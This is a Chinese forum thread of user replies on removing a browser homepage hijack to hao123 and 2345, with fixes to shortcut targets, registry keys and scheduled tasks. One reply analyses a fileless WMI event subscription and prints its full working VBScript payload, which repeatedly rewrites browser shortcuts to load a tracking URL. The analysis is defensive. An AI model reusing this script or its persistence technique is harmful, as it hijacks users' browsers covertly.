黑桃云-
浏览器主页被劫持的解决步骤：
步骤1：直接修改启动页设置
首先，检查Chrome设置。
点击Chrome浏览器右上角菜单。
点击设置。
启动时，设置为：打开新标签页。
或者点击“打开特定网页或一组网页”，进行手动设置，设置希望的主页。
步骤2：修复Chrome快捷方式
如果步骤1中的修改设置，在重启Chrome浏览器后，无法解决主页被篡改的问题。
则可以右击桌面上的快捷方式，点击“属性”。
在“快捷方式”的目标中，检查chrome.exe文件路径
用鼠标选择路径最后的字符串，确认最后是否有网址。
如果有网址，直接删除网址部分，然后点击应用，确定即可。
步骤3：重新创建Chrome快捷方式
如果步骤2之后，chrome主页仍然被篡改锁定，则可以尝试重建chrome快捷方式。
依然右击chrome快捷方式，点击“查找目标”
找到Chrome安装目录文件夹。
右击chrome.exe文件，点击“发送到”，桌面快捷方式。
然后删除原有的快捷方式，使用新的快捷方式，进入chrome。
步骤4：重置Chrome浏览器设置
如果步骤3依然不能解决主页被篡改的现象，那就尝试重置chrome浏览器全部设置。
方法：
进入Chrome设置页，点击最下方的“高级设置”
将鼠标滚到最底部，点击“重置设置”
然后关闭浏览器，重新打开即可。
步骤5：重新安装Chrome官方最新版
如果步骤4依然不能解决Chrome主页被劫持的问题，那就彻底卸载Chrome，
重新安装Google Chrome官方最新版。
注意，要到Google官网下载，最好是英文版。
如果仍然不行，那就彻底重装系统，并且慎重安装常用的国产软件，防止被捆绑流氓主页的行为。
CarieVinne-
* 回复内容中包含的链接未经审核，可能存在风险，暂不予完整展示！
用管家软件、杀毒软件等方法前先试试这个，可能最简单的办法就可以解决！
右键点开你桌面上的浏览器快捷方式，选“属性”，看一下“目标(T):”这一栏，在浏览器地址后面是不是还跟了其它东西，象这样：
下面怎么办就很清楚了吧，去掉这个尾巴就行了。
可耻的流氓软件可能在你的所有浏览器快捷方式上都这样改动过，检查一下吧。
如果这个办法解决不了，再试试管家软件、杀毒软件、注册表删除等这些方法吧，由简到难，不耽误功夫！
另外补充一下：如果新安装浏览器又出现上面的现象，那就要用那个“尾巴”里的关键字（如上边的hao.1**.cn）来搜注册表进行修改，如下：
如果重启后前面的问题又出现了，那么可以确定是有软件在启动时又加载了这些麻烦，那可能是安装的软件，如激活windows的小马激活工具OEM8及OEM8Server搞的鬼，
也可以在“计算机管理”直接删除或禁用这两个计划任务再重做一下前面两步就行了，见下图：
snjk-
最近，一位用户反馈自己电脑中的浏览器主页被hao123给劫持了，而且无法删除，这是怎么回事呢？其实，该问题是由于首页被恶意锁定导致的。接下来，凶残小编就为大家分享电脑中浏览器主页被hao123劫持的三种处理方法。
方法一：
先删除图标上多出来的IE图标（网址快捷方式），进入C:Users用户 名AppDataRoamingMicrosoftInternet ExplorerQuick Launch，把你的所有Chrome、IE、Edge浏览器快捷方式属性，把目标栏里的带有“hao123”的地址删掉，如图所示：
方法二：hao123主页怎么删除?
1、按下WIN+R组合键打开运行，在运行里输入regedit，点击确定，打开注册表编辑器（若弹出用户账户控制窗口，请点击 是 继续），依次定位到：HKEY_CURRENT_USERSoftwarePoliciesMicrosoft，展开Microsoft，查看其下是否包含子项 Internet Explorer 若有，删除（右击Internet Explorer，选择“删除”），如图：
2、接着在注册表中重新定位到HKEY_ LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain，查看右边细节窗口中［Default_Page_URL］值和［Start Page］值是否有异常。如果被修改了，请根据自己的需要改回（右击键值，选择“修改”进行更改），如图所示：
方法三：hao123主页怎么删除
将系统设置为“显示隐藏的文件、文件夹”，然后在C:Windows目录下找到OEM文件（或文件夹），将他们删除。再打开这个IE等浏览器就不会出现问题了。
电脑中浏览器主页被hao123劫持的处理方法就为大家介绍到这里了。若是你也遇到类似问题的话，不妨按照上述方法操作看看！
LocCloud-
* 回复内容中包含的链接未经审核，可能存在风险，暂不予完整展示！方法一u200d
下载360卫士，然后使用其主页劫持工具，可以恢复，但是还没结束，如果这是你高高兴兴地删除360，等第二次打开电脑时，又会出现主页被可恶的123hao劫持的情况，彻底解决问题的办法是，在C:WindowsSystem32wbemscrcons.exe这个文件中，找到删除scrcons.exe这个文件，他才是罪大恶极的祸端，然后你会发现删除不了，这是还是我们伟大的360卫士来帮忙，打开360卫士的文件粉碎机，把找到的scrcons.exe直接拖进去，OK，123hao劫持主页完美解决，可以感谢并删除360卫士了
方法二
考虑到可能加载了启动项，在注册表、启动项、服务等中均未查找到相关信息，重启后IE快捷方式被重新篡改。尝试了事件查看器和任务计划，均未在里面查出任何信息。
之后又安装了超级兔子、360、exterminateit等工具进行检查，也未检出。打开ProcessMonitor进行监视，发现每隔30分钟出现一个scrcons.exe进程自动启动并修改快速启动栏的命令，然后自动关闭（幸亏是30分钟一次，你要是24小时一次，那我就杯具了…），修改Win7下opera快速启动图标路径类似如下：C:UsersiefansAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUserPinnedTaskBarOpera12.01 1532.lnk 查找资料，发现这应该是一个通过WMI发起的定时自动运行脚本。要查看WMI事件，到以下地址下载WMITool并安装http://www.m*******.com/en-us/download/details.aspx?id=24045 安装后打开WMI event viewer，点击左上角register for events，弹出Connect to namespace框，填入“rootsubscription”，确定，出现下图：
点击左侧_EventFilter:Name="unown_filter"，再至右侧右键点击ActiveScriptEventConsume r Name="unown"，选择view instant properties，如下图：
查看ScriptText项可知，这是一段VBScript调用系统服务间隔30分钟执行一次，将所有浏览器调用加上“http://www.2**.com/?kunown”！抓住你了~！隐藏的够深，没常驻进程，没有文件（把自己存储在WMI数据库中）。 受到影响的浏览器有（各色浏览器，差不多齐了）："IEXPLORE.EXE", "chrome.exe", "firefox.exe","360chrome.exe", "360SE.exe","SogouExplorer.exe", "opera.exe", "Safari.exe","Maxthon.exe", "TTraveler.exe", "TheWorld.exe","baidubrowser.exe", "liebao.exe", "QQBrowser.exe"具体代码如下：On Error Resume Next:Const link = "http://www.2**.com/?kunown":browsers =Array("IEXPLORE.EXE", "chrome.exe","firefox.exe", "360chrome.exe", "360SE.exe","SogouExplorer.exe", "opera.exe", "Safari.exe","Maxthon.exe", "TTraveler.exe", "TheWorld.exe","baidubrowser.exe", "liebao.exe", "QQBrowser.exe"):SetoDic = CreateObject("scripting.dictionary"):For Each browser Inbrowsers:oDic.Add LCase(browser), browser:Next:Set fso =CreateObject("Scripting.Filesystemobject"):Set WshShell =CreateObject("Wscript.Shell"):strDesktop ="C:UsersGeminiDesktop":strAllUsersDesktop =WshShell.SpecialFolders("AllUsersDesktop"):QuickLaunch = "C:UsersGeminiAppDataRoamingMicrosoftInternetExplorerQuick Launch":UserPinnedStartMenu = QuickLaunch & "UserPinnedStartMenu":UserPinnedTaskBar = QuickLaunch & "UserPinnedTaskBar":For Each file In fso.GetFolder(strDesktop).Files:IfLCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink =WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name =fso.GetBaseName(path) & "." & fso.GetExtensionName(path):IfoDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.AttributesAnd 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:EndIf:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:IfLCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink =WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name =fso.GetBaseName(path) & "." & fso.GetExtensionName(path):IfoDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.AttributesAnd 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:EndIf:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file Infso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) ="lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path =oShellLink.TargetPath:name = fso.GetBaseName(path) & "." &fso.GetExtensionName(path):If oDic.Exists(LCase(name))Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes= file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Iffso.FolderExists(UserPinnedStartMenu) Then:For Each file Infso.GetFolder(UserPinnedStartMenu).Files:IfLCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink =WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name =fso.GetBaseName(path) & "." & fso.GetExtensionName(path):IfoDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.AttributesAnd 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:EndIf:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each fileIn fso.GetFolder(UserPinnedTaskBar).Files:IfLCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink =WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name =fso.GetBaseName(path) & "." & fso.GetExtensionName(path):IfoDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.AttributesAnd 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:EndIf:End If:Next:End If
最后，清除方法：在WMI event viewer中将“_EventFilter:Name="unown_filter"”项目右键删除！删不掉？ 到WMITool安装路径（例如：C:Program Files(x86)WMI Tools）下，右键点击wbemeventviewer.exe，选择以管理员身份运行！删之！还没完，还要手动将快速启动栏中，将各个浏览器快捷命令中的http://www.2**.com/?kunown去掉！ 暂时就这么多了，还有没有其它影响的话，用用再看吧！解决方法来自：Gemini
希望大家能够把这解决方法普及开来，现在大多人还是用修改快捷方式之类的解决方案，已经落伍了...
原文出处：
http://www.i****.net/ie-zhuye-jiechi-www-2345-com-kunown
再也不做稀饭了-
* 回复内容中包含的链接未经审核，可能存在风险，暂不予完整展示！
删除桌面上所有已被感染过的浏览器快捷方式；完全卸载已装版本，删除安装压缩包文件、清理注册表信息；查杀修复---木马查杀---全盘扫描---立即修复；杀毒---全盘查杀---一键修复。
简介：
hao123网址之家是百度（b***.com）旗下网站，创建于1999年5月，是中国最早的上网导航站点，经过10余年的发展，已成为亿万用户上网的第一站、中文上网导航的第一品牌。该网站收录包括音乐、视频、小说、游戏等热门分类的优秀网站，与搜索完美结合，提供最简单便捷的网上导航服务，是数千万网民的上网主页。
组成：
在早期，域名、空间服务器与程序是网站的基本组成部分，随着科技的不断进步，网站的组成也日趋复杂。多数网站由域名、空间服务器、DNS域名解析、网站程序、数据库等组成。
南yi-
所有浏览器主页被hao123劫持？网友求助：浏览器主页被hao123劫持，该怎么办？
分享经验：可能有多种化解被hao123劫持的方法。
方法/步骤分步阅读
1
/8
主页被劫持，通常是修改主页，在运行中输入开始→运行→输入：inetcpl.cpl→确定→打开Internet 选项。
2
/8
但是在常规主页中并没有hao123的身影，说明劫持者另有修改主页的途径。
3
/8
右键点击桌面上的IE浏览器图标→属性。
4
/8
如果桌面上没有，而只有在任务栏上，同样是右键点击IE浏览器→属性。
5
/8
IE浏览器属性→快捷方式。
6
/8
此时在目标中可以看到，hao123网址的尾巴赫然在目→使用鼠标左键点住开头往右将其拉篮。
7
/8
选中hao123网址之后→删除→点击确定。再次打开IE浏览器就恢复原有的主页了。
8
/8
其他的浏览器（搜狗浏览器）也是一样设置。右键点击浏览器图标→属性→快捷方式→目标→拉篮hao123网址的尾巴→删除→确定。
注意事项
此经验文章中的图文皆由 电脑人人有 编撰，并且首发于百度经验，如要转载，请留出处。
有帮助，点投票。要细品，可收藏。要继续，请关注。如成功，请点赞。有疑问，请留评。
内容仅供参考并受版权保护
皮皮-
* 回复内容中包含的链接未经审核，可能存在风险，暂不予完整展示！http://1**.cn这个东西，只要出现，肯定是盗版系统用了激活工具。
解决办法：换用别的激活工具，不要再用什么小马之类的，小马早就不做这个东西了。
1、在“计算机”上击右键“管理”，“系统工具”→“任务计划程序”→“任务计划程序库”
把里面的OEM7或者OEM8以及OEMServer（KMS10以及KMS10Server，不同的激活软件名称不同）都禁用或删除；
把浏览器快捷方式——属性——目标"后面的hao.1**.cn/?v=108删除即可
2、以下位置的IE快捷方式（或其它浏览器快捷方式，如果中招的话），右键属性
2.1）任务栏；
2.2）C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsAccessories
2.3）C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem Tools
（这一条前面错了，修改一下）C:UsersAdministratorAppDataRoamingMicrosoftInternet ExplorerQuick Launch
快捷方式里面，把http://hao.1**.cn那一串去掉；
3、运行→regedit→搜索169x，删除所有项目，再搜索hao123，删除所有项目----------更新一下
tt白-
现象：浏览器打开直接链接到一个“hao123”后面跟一串数字的推广网站，
主页还是主页没变，点一下页面上的主页链接，仍然会打开自己设置的主页。
但是每次一开浏览器，一定会先打开这个流氓页面，不会打开主页。
处理方法：
1、新建一个用户，设为管理员权限，然后注销，登陆这个用户。
打开浏览器，你看到什么了？没错！这下不是“hao123”，是微软默认的网址。
由此可以断定：流氓劫持的不是浏览器，系统也没有任何毛病，是劫持了你平时登陆的那个用户。
2、重新启动电脑到安全模式，我们假设你平时登陆的用户是“administrator”，
你刚刚新建的用户名为“1”，你就登陆1（管理员权限），
用C:Documents and Settings1下面的文件夹“Local Settings”
覆盖C:Documents and Settingsadministrator下的“Local Settings”
流氓就藏在这儿，新建用户的这个文件夹是非常干净的。
3、重启电脑到你原来的用户，删除新建的“1“用户。
现在流氓已经消失，你的桌面、各项设置还和以前一样唯一不同的是浏览器主页你要重新设置一下。OK
真可-
一般情况下，你的主页被hao123，2345这类劫持主页，用管家/卫士这类防护软件是可以修改锁定的，如果修改锁定后仍然被劫持，别急。。。。。。。。。。
经过卫士/管家这类大流氓处理，你的浏览器程序肯定是已经被保护了，之所以还被劫持，多半是因为你还在使用原来那个浏览器的快捷方式，比如桌面上那个某浏览器图标，你右键看看属性，在目标那栏是不是后缀了劫持的主页地址？而且还改不了，你说气人不，任然不要急。。
因为这些小流氓这个阶段只能搞搞你的快捷方式了，这个时候删掉这个快捷方式，从浏览器根目录下重新发送一个快捷方式，OK，问题解决了。
okok云-
被篡改一般就是电脑病毒或者是某些软件导致的
打开电脑管家——工具箱——浏览器保护
然后找到想要设置的浏览器主页，输入进去点击锁定就行了。
LuckySXyd-
本来一直用百度杀毒，输入法，前天竟然把我主页改成hao123 还改不过来，一查hao123竟然和百度有关，虽然hao123也没啥，但就是烦别人强迫你，一怒之下删掉百度杀毒换成诺顿，就是3年收80，3台机子使用，为赌气收费就收费，安装完后重启，把主页改成空白确定，诺顿提示（百度肯定不会），确认锁定，哈哈，hao123不见了。输入法不好卸载（本来输入法没啥，赌气换搜狗的），重启安全模式下，把baidu目录下文件能删就删，关掉百度输入法进程，有些删不掉，再次启动再次在安全模式下删，哈哈全删干净了.
安装诺顿杀毒竟然杀掉几个木马病毒，百度呢？
西柚不是西游-
这个问题其实没有那么复杂，我试了网上这么多方法，全都没用。其实这就是装了一个恶意的软件，今天在控制面板中找到了原因，原来是WPS的一个PDF转WORD 软件搞得鬼，卸载以后，困扰我几个月的问题完美解决。